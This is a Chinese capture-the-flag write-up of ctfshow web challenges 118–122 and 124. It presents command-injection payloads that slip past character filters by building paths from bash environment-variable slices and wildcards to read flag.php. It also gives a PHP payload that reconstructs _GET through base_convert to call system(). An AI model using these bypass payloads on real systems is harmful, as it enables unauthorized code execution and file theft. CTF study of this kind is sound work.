ctfshow web入门 web118--web122 && web124

web118

查看源代码在这里插入图片描述ls想看目录不行在这里插入图片描述这里利用一个环境变量切片得到所能使用的字母执行命令

$PWD${PWD}    表示当前所在的目录	/var/www/html
${#PWD}         13		前面加个#表示当前目录字符串长度
${PWD:3}        r/www/html	代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3}    	html	代表从最后面开始向前截取几位(从零开始)
${PWD:3:1}     	r
${PWD:~3:1} 	h
${PWD:~A}		l	这里的A其实就是表示1
${SHLVL:~A} 	1	代表数字1

在这里插入图片描述
用hackbar给我卡着了那就抓包呗

code=${PATH:~A}${PWD:~A} ????.???
# nl flag.php

在这里插入图片描述

web119

上一个的用不上了
在这里插入图片描述

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

就是/???/??t ????.???

就是/bin/cat flag.php

在这里插入图片描述
还有这个

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.???
/bin/base64 flag.php			这里其实${IFS}可以不用直接用空格,因为没禁

web120

在这里插入图片描述过滤了一些东西
在这里插入图片描述我本来想套娃,但是长度被限制了
但是空格没被过滤我把${IFS}换成空格就刚好了

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

解密到手
在这里插入图片描述

web121

在这里插入图片描述还有PWN可以用

先来个基础
在这里插入图片描述过滤${#SHLVL}可以用${##}、${#?}

${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???

就是/???/??v ????.???

就是/bin/rev flag.php

${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

就是/???/?????4 ????.???

就是/bin/base64 flag.php

在这里插入图片描述解密

在这里插入图片描述两种结果在这里插入图片描述在线工具免得自己打在这里插入图片描述

web122

执行<A等命令会因找不到目录或者文件执行失败,返回值是1,$?获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。

数字4还是用RANDOM随机数来获取,不过是换种方式,1/10的概率,多发几次包

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

一直发包就行了在这里插入图片描述在这里插入图片描述

web124

在这里插入图片描述
借用大佬的好东西我还没懂

$_GET[abs]($_GET[acos])		//strlen($content) >= 80,有长度限制,所以利用get命令执行$_GET{abs}($_GET{acos})		//[]在黑名单,用{}代替$pi=_GET;$$pi{abs}($$pi{acos})
↓
进制转换
base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符
最重要的是hex2bin函数,但是不在白名单里面

base_convert构造hex2bin(我想用base_convert直接转_GET,但是只能得到get)
base_convert('hex2bin',36,10)37907361743
_GET	→  hex十六进制 5f474554 (不能有字母所以十六进制不行) →  dec十进制 1598506324	(在线转换)

所以_GET可以写为
hex2bin(dechex(1598506324))base_convert('37907361743',10,36)(dechex(1598506324))

最后的payload
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat *

查看源代码
在这里插入图片描述

  • 10
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值